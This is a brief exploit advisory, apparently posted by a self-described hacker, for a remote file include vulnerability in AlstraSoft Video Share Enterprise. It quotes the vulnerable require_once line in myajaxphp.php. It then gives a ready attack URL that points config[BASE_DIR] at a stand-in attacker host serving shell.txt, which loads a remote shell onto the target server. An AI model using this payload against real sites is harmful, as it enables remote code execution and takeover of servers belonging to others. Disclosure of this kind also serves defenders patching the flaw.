AlstraSoft Video Share Enterprise Remote File Include Vulnerability

[night_warrior-@xxxxxxxxxxx]

##Night_Warrior<Kurdish Hacker>
##night_warrior-[at]hotmail.com
##AlstraSoft Video Share Enterprise Remote File Include Vulnerability
##Contact : night_warrior-[at]hotmail.com
##hompage : www.alstrasoft.com
##vuln code :
myajaxphp.php line 11

 require_once($config['BASE_DIR'] . "/ajax/cpaint2.inc.php"); 

http://www.example.com/[Script 
Path]/ajax/myajaxphp.php?config[BASE_DIR]=http://atacker.com/shell.txt?